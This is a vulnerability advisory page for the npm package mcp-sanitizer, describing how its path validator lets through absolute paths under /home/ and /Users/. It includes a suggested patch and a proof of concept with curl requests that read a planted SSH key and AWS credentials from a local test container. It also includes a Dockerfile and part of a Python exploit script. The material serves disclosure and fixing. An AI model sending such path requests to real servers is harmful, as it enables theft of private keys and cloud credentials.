Skip to content
Fencer Vulns
high 7.5

GHSA-7w82-6f9j-v9jp json

mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

published 2026-10-28 11 d ago modified 2026-10-28 11 d ago

cvss
7.5
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

### Summary

`mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.

### Details

The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:

```js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) );

if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } } ```

Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged.

The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked.

The full data flow from a network request to the vulnerable return value is:

1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`. 2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called. 3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error. 5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.

A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon.

**Suggested patch:**

```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ - const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; ```

### PoC

**Environment requirements:** Docker, Python 3, Node.js 20

**Step 1 — Build and start the reproduction container:**

```bash # From the vuln-002/ directory python3 poc.py ```

The script automatically: 1. Copies the `mcp-sanitizer` source into a Docker build context. 2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container. 3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path. 4. Sends the three test requests described below.

**Step 2 — Manual HTTP requests (after the container is running on port 13572):**

Control test — must be blocked: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}' # Expected: {"blocked": true} ```

Exploit test 1 — SSH private key exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."} ```

Exploit test 2 — AWS credentials exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."} ```

**Observed results (Phase 2 dynamic reproduction):**

``` [Test 1 — Control] POST /tool {file_path: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)

[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'} => blocked=false, EXPLOIT_SUCCESS=true sanitized_path: /home/victim/.ssh/id_rsa file_content: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002 -----END RSA PRIVATE KEY-----

[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'} => blocked=false, EXPLOIT_SUCCESS=true file_content: [default] aws_access_key_id = AKIAIOSFODNN7EXAMPLE aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east-1 ```

**Root cause confirmed:** `validation-utils.js:190` — `allowedAbsolutePaths` includes `'/home/'` and `'/Users/'`; any absolute path starting with `/home/` passes with `blocked=false`.

### Impact

This is a **Path Traversal / Improper Path Restriction (CWE-22)** vulnerability.

Any application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` — requiring no authentication, no special privileges, and no interaction from a legitimate user.

**Sensitive targets include but are not limited to:** - SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`) - Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`) - Kubernetes config (`~/.kube/config`) - GPG keys (`~/.gnupg/`) - Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`)

The confidentiality impact is **High** because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile # VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass # Builds a Node 20 container with: # - mcp-sanitizer source from the local repo # - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/ # - A consumer HTTP server that trusts the sanitizer

FROM node:20-slim

LABEL vuln="VULN-002" \ cwe="CWE-22" \ title="mcp-sanitizer home-directory path bypass"

# Install mcp-sanitizer production dependencies WORKDIR /app/repo COPY repo/package.json repo/package-lock.json ./ RUN npm ci --omit=dev --no-audit --no-fund

# Copy mcp-sanitizer source code COPY repo/src ./src

# Create simulated victim home directory with sensitive files # These represent secrets a real attacker would target RUN mkdir -p /home/victim/.ssh /home/victim/.aws RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \ echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \ echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \ echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \ echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \ chmod 600 /home/victim/.ssh/id_rsa RUN echo '[default]' > /home/victim/.aws/credentials && \ echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \ echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \ echo 'region = us-east-1' >> /home/victim/.aws/credentials && \ chmod 600 /home/victim/.aws/credentials

# Copy the consumer server application WORKDIR /app COPY server.js ./server.js

EXPOSE 3000

CMD ["node", "server.js"] ```

#### `poc.py`

```python #!/usr/bin/env python3 """ VULN-002 Dynamic Reproduction PoC mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)

Vulnerability: src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/' as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer app reads the file using the trusted sanitized path.

Attack chain: 1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa 2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'} 3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer 4. SSH private key contents returned in HTTP response (exfiltrated)

Usage: python3 poc.py """

import json import os import shutil import subprocess import sys import tempfile import time import urllib.request import urllib.error

# Paths SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo")) PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json")

# Docker settings IMAGE_NAME = "vuln002-mcp-sanitizer-poc" CONTAINER_NAME = "vuln002-poc-container" HOST_PORT = 13572 # High port to avoid conflicts

BASE_URL = f"http://127.0.0.1:{HOST_PORT}" TOOL_URL = f"{BASE_URL}/tool" HEALTH_URL = f"{BASE_URL}/health"

def log(msg): print(f"[poc] {msg}", flush=True)

def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": build_cmd, "run_command": run_cmd, "poc_command": "python3 poc.py", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "server.js"] } with open(PHASE2_RESULT, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) log(f"Saved phase2_result.json (verdict={verdict})")

def run(cmd, timeout=300, capture=True): """Run a subprocess command and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, capture_output=capture, text=True, timeout=timeout ) return result.returncode, result.stdout, result.stderr

def stop_container(): su…

Patch / fix

CVSS scores

assigned by version score vector
GitHub 3.1 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Affected packages

ecosystem package affected fixed in
npm mcp-sanitizer
<1.4.0
1.4.0

Classification

Weakness
  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory

References

Sources

Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.